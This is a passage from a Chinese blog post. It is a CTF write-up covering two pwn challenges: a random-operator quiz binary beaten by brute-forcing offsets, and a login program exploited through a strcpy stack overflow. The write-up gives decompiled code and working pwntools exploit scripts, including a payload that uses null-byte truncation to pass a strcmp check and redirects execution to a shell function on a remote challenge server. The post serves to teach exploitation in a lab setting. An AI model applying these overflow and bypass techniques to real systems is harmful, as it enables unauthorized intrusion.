stackStruct - 超级玉米人的博客

超级玉米人

公告

欢迎来到我的博客！这里将分享我的日常与技术学习笔记。~(∠・ω< )⌒★

Learn More

标签

超级玉米人

公告

欢迎来到我的博客！这里将分享我的日常与技术学习笔记。~(∠・ω< )⌒★

Learn More

标签

超级玉米人

公告

欢迎来到我的博客！这里将分享我的日常与技术学习笔记。~(∠・ω< )⌒★

Learn More

标签

570 字

1 分钟

stackStruct

2025-11-30

ctf

ctfwp

/

stack

随机数爆破#

除了实用调用libc的获取随机数的方法，还可以通过爆破方式获取随机数

例题 testnc_revenge #

1
checksec ./pwn
2

3
Arch:       amd64-64-little
4
    RELRO:      No RELRO
5
    Stack:      No canary found
6
    NX:         NX unknown - GNU_STACK missing
7
    PIE:        No PIE (0x400000)
8
    Stack:      Executable
9
    RWX:        Has RWX segments
10
    SHSTK:      Enabled
11
    IBT:        Enabled
12
    Stripped:   No

打开 IDA 我们分析代码

1
int __fastcall main(int argc, const char **argv, const char **envp)
2
{
3
  unsigned int buf[18]; // [rsp+0h] [rbp-50h] BYREF
4
  int fd; // [rsp+48h] [rbp-8h]
5
  int n119; // [rsp+4Ch] [rbp-4h]
6

7
  init(argc, argv, envp);
8
  fd = open("/dev/urandom", 0);
9
  read(fd, buf, 4u);
10
  puts("Can you finish this test?");
11
  seed = buf[0];
12
  srand(buf[0]);
13
  setNum();
14
  for ( n119 = 0; n119 <= 119; ++n119 )
15
  {
16
    if ( (unsigned int)cala((unsigned int)n119) )
17
    {
18
      puts("You lose");
19
      exit(-1);
20
    }
21
    puts("Good");
22
    puts("Next task");
23
  }
24
  puts("You got it!");
25
  system("cat flag");
26
  return 0;
27
}
28

29
_BOOL8 __fastcall cala(__int64 n119)
30
{
31
  unsigned int seed_2; // eax
32
  unsigned int seed_1; // eax
33
  unsigned int seed; // eax
34
  int v5; // [rsp+1Ch] [rbp-24h] BYREF
35
  int v6; // [rsp+20h] [rbp-20h] BYREF
36
  int v7; // [rsp+24h] [rbp-1Ch] BYREF
37
  int v8; // [rsp+2Ch] [rbp-14h]
38
  int v9; // [rsp+34h] [rbp-Ch]
39
  int v10; // [rsp+3Ch] [rbp-4h]
40

41
  if ( (int)n119 > 39 )
42
  {
43
    if ( (int)n119 > 79 )
44
    {
45
      v10 = rand() % 6;
46
      if ( !flag3 )
47
      {
48
        flag3 = 1;
49
        seed = rand();
50
        srand(seed);
51
        offset = rand() % 6;
52
      }
53
      printf("%d %c %d = \n", Num1[(int)n119], (unsigned int)sym[offset + v10], Num2[(int)n119]);
54
      __isoc99_scanf("%d", &v5);
55
      return (unsigned int)Trueval((unsigned int)Num1[(int)n119], (unsigned int)sym[v10], (unsigned int)Num2[(int)n119]) != v5;
56
    }
57
    else
58
    {
59
      v9 = rand() % 6;
60
      if ( !flag2 )
61
      {
62
        flag2 = 1;
63
        seed_1 = rand();
64
        srand(seed_1);
65
        offset = rand() % 6;
66
      }
67
      printf("%d %c %d = \n", Num1[(int)n119], (unsigned int)sym[offset + v9], Num2[(int)n119]);
68
      __isoc99_scanf("%d", &v6);
69
      return (unsigned int)Trueval((unsigned int)Num1[(int)n119], (unsigned int)sym[v9], (unsigned int)Num2[(int)n119]) != v6;
70
    }
71
  }
72
  else
73
  {
74
    v8 = rand() % 6;
75
    if ( !flag1 )
76
    {
77
      flag1 = 1;
78
      seed_2 = rand();
79
      srand(seed_2);
80
      offset = rand() % 6;
81
    }
82
    printf("%d %c %d = \n", Num1[(int)n119], (unsigned int)sym[offset + v8], Num2[(int)n119]);
83
    __isoc99_scanf("%d", &v7);
84
    return (unsigned int)Trueval((unsigned int)Num1[(int)n119], (unsigned int)sym[v8], (unsigned int)Num2[(int)n119]) != v7;
85
  }
86
}
87
__int64 __fastcall Trueval(unsigned int a1, char n120_1, int a3)
88
{
89
  __int64 n120; // rax
90

91
  n120 = (unsigned int)n120_1;
92
  if ( (_DWORD)n120 == 120 )
93
    return a3 * a1;
94
  if ( (int)n120 <= 120 )
95
  {
96
    if ( (_DWORD)n120 == 94 )
97
    {
98
      return a3 ^ a1;
99
    }
100
    else if ( (int)n120 <= 94 )
101
    {
102
      if ( (_DWORD)n120 == 45 )
103
      {
104
        return a1 - a3;
105
      }
106
      else if ( (int)n120 <= 45 )
107
      {
108
        if ( (_DWORD)n120 == 43 )
109
        {
110
          return a1 + a3;
111
        }
112
        else if ( (int)n120 <= 43 )
113
        {
114
          if ( (_DWORD)n120 == 37 )
115
          {
116
            return (unsigned int)((int)a1 % a3);
117
          }
118
          else if ( (_DWORD)n120 == 38 )
119
          {
120
            return a3 & a1;
121
          }
122
        }
123
      }
124
    }
125
  }
126
  return n120;
127
}

分析发现这是一个随机数答题的程序，其中的题目有三个阶段，而且在答题的时候，实际显示的运算符和程序内部的计算运算符不同，但是通过分析程序发现这三个偏移量是在同一个时间生成并存储在buf 中所以只要确定了第一个阶段的偏移量，那么就可以确定第二阶段和第三阶段的偏移量，那么我们可以直接通过枚举的方式获得三个阶段的答题，从而获得shell

所以写出如下exp.py 脚本

1
from pwn import *
2
from typing import Callable
3
from dataclasses import dataclass
4
import time
5

6
# context.log_level = "debug"
7

8
"""
9
枚举所有的 可能偏移，最坏的情况下 有 6^3 种情况
10
"""
11

12
@dataclass
13
class StageProc:
14
  proc: process
15
  procoffset: int
16

17
sym_list = ['+', '-', 'x', '%', '^', '&', '+', '-', 'x', '%', '^', '&']
18

19
def calculate(a: int, op: str, b: int) -> int:
20
  if op == '+':
21
    return a + b
22
  elif op == '-':
23
    return a - b
24
  elif op == 'x':
25
    return a * b
26
  elif op == '%':
27
    return a % b if b != 0 else 0
28
  elif op == '^':
29
    return a ^ b
30
  elif op == '&':
31
    return a & b
32
  else:
33
    return 0
34

35
def calcPart(p: process, offset: int) -> int:
36
  global sym_list
37

38
  res = -1
39
  # log.info(f"Get calcPart")
40
  # time.sleep(.5)
41
  parts = p.recv().decode().split()
42
  while not "=" in parts:             # 防止因为io玄学问题导致接受不全
43
    parts += p.recv().decode().split()
44

45
  try:
46
    num1 = int(parts[-4])
47
    disOp = parts[-3]
48
    op = sym_list[sym_list.index(disOp) + offset]
49
    num2 = int(parts[-2])
50
    res = calculate(num1, op, num2)
51
    # log.info(f"Calc: {num1} {op} {num2} = {res}")
52
  except:
53
    log.error(f"calcPartsError: {parts}")
54
    log.error(f"Break!")
55
  return res
56

57
# 寻找获取
58
# stage ==> 1, 2, 3
59
def findOffset(pFunc: Callable[[], process], stage: int) -> StageProc:
60
  # p = pFunc()
61
  offset = 0
62

63
  while True:
64
    p = pFunc()
65
    res = calcPart(p, offset)
66
    p.sendline(str(res).encode())
67
    back = p.recvline()
68

69
    if b"lose" in back:
70
      log.warn(f"findOffsetFail : {stage}")
71
      p.close()
72
      offset += 1
73
      offset = 0 if offset > 6 else offset
74
    else:
75
      log.success(f"findOffset {stage} : offset => {offset}")
76
      return StageProc(
77
        proc = p,
78
        procoffset = offset
79
      )
80
      # break
81

82
# 计算 该阶段接下来的题目
83
def CalcPartsWithOffset(ps: StageProc, stage: int) -> process:
84
  for _ in range(39):
85
    res = calcPart(ps.proc, ps.procoffset)
86
    ps.proc.sendline(str(res))
87
    back = ps.proc.recvline()
88

89
    if b"lose" in back:
90
      log.error(f"Stage{stage} CalcFail Step:{_}")
91
      raise ValueError("Stage Calc Fail Error!")
92
    # 尝试捕获最后几个算式
93
    if _ >= 37 and stage == 3:
94
      log.info(f"Proc: {_}: {back} ")
95

96
  return ps.proc
97

98
def pCreate() -> process:
99
  return process("./pwn")
100
  # return remote("175.27.251.122", 33490)
101
# 计算 阶段一
102
def Stage1() -> process:
103
  try:
104
    temp = findOffset(pCreate, 1)
105
    return CalcPartsWithOffset(temp, 1)
106
  except:
107
    log.error("Restart: Stage1")
108
    return Stage1()
109

110
def Stage2() -> process:
111
  try:
112
    temp = findOffset(Stage1, 2)
113
    return CalcPartsWithOffset(temp, 2)
114
  except:
115
    log.error("Restart: Stage2")
116
    return Stage2()
117

118
def Stage3() -> process:
119
  try:
120
    temp = findOffset(Stage2, 3)
121
    return CalcPartsWithOffset(temp, 3)
122
  except:
123
    log.error("Restart: Stage3")
124
    return Stage3()
125

126
def tryStageRetry() -> process:
127
  for attempt in range(10):
128
    try:
129
      res = Stage3()
130
      log.success(f"Stage3 第{attempt+1}次尝试成功")
131
      return res
132
    except PwnlibException as e:
133
      log.warning(f"Stage1 第{attempt+1}次尝试失败: {e}")
134
      time.sleep(1)
135

136
p = tryStageRetry()
137
print(p.recvall())      #显示答案

总结#

对于此类问题，可以去尝试分析程序，寻找程序的逻辑漏洞，比如固定的随机数种子等。。为爆破构建出条件

strcpy & strcmp#

strcpy 字符串赋值 -

char* strcpy(char* dest, const char* src)
将src指向的字符串(包括终止的字符串\0) 复制到 dest 所指向的缓冲区
缺陷：完全信任 src，不做任何检查，容易产生溢出

strcmp 字符串比较 -

int strcmp(const char* str1, const char* str2)
比较字符串，如果两个字符串相同则返回0，如果不相同，则根据字典序返回正数或者负数
缺陷：也是完全信任两个比较值，比较的只是 \0 之前的字符，也就是说可以通过 \0 来进行截断

例题 str_ERROR #

将程序提供的文件放入 ida

1
int __fastcall main(int argc, const char **argv, const char **envp)
2
{
3
  char user_copy[41]; // [rsp+0h] [rbp-90h] BYREF
4
  char correct_password[7]; // [rsp+29h] [rbp-67h] BYREF
5
  char password[48]; // [rsp+30h] [rbp-60h] BYREF
6
  char username[48]; // [rsp+60h] [rbp-30h] BYREF
7

8
  init();
9
  strcpy(correct_password, "Secret");
10
  puts("====secure system====");
11
  puts("Please input your username: ");
12
  read(0, username, 0x30u);
13
  puts("Please input your password: ");
14
  read(0, password, 0x130u);
15
  strcpy(user_copy, username);
16
  if ( strcmp(password, correct_password) )
17
    exit(-1);
18
  puts("success!");
19
  return 0;
20
}
21

22
void __cdecl shell()      // Addr => 0x40125B
23
{
24
  system("/bin/sh");
25
  puts("I believe you can get shell!");
26
}

发现这是一个登录界面的程序其中 strcpy 有严重的溢出漏洞

通过查看栈空间分布发现

1
-0000000000000090
2
-0000000000000090     char user_copy[41];
3
-0000000000000067     char correct_password[7];
4
-0000000000000060     char password[48];
5
-0000000000000030     char username[48];
6
+0000000000000000     _QWORD __saved_registers;
7
+0000000000000008     _UNKNOWN *__return_address;
8
+0000000000000010
9
+0000000000000010 // end of stack variables

可以通过写入password 覆盖后边的结构，所以现在的问题就是如何绕过 strcmp 比较，于是我们可以通过构建payload 使得比较的变量相同

于是写出如下exp

1
from pwn import *
2

3
context.log_level = "debug"
4

5
backdoorAddr = 0x40125b
6
ret          = 0x40101a
7

8
# p = process("./pwn")
9
# 175.27.251.122:33504
10
p = remote("175.27.251.122", 33504)
11

12
# username:/
13
p.recvuntil(b"Please input your username: \n")
14
payload = b"a" * 41 + b"Secret"
15
# payload = b"a"
16
p.send(payload)
17

18
p.recvuntil(b"Please input your password: \n")
19
payload = flat([
20
  b"Secret\0",
21
  b"a" * (41),
22
  b"a" * 41 + b"Secret\0",
23
  p64(ret),
24
  p64(ret),
25
  p64(backdoorAddr)
26
])
27
p.send(payload)
28
p.interactive()

总结#

在通过栈溢出漏洞劫持程序的时候，与需要兼顾园本的栈结构，这样不仅可以提高攻击的稳定性，也可以产生意想不到的效果

如果这篇文章对你有帮助，欢迎分享给更多人！

stackStruct

https://yoyolp.github.io/posts/11/30/

作者

超级玉米人

发布于

2025-11-30

许可协议

CC BY-NC-SA 4.0

部分信息可能已经过时

12考核wp

动态链接

超级玉米人の部屋

随机数爆破#

例题 testnc_revenge #

总结#

strcpy & strcmp#

例题 str_ERROR #

总结#

目录

超级玉米人の部屋

随机数爆破#

例题 testnc_revenge#

总结#

strcpy & strcmp#

例题 str_ERROR#

总结#

目录

例题 testnc_revenge #

例题 str_ERROR #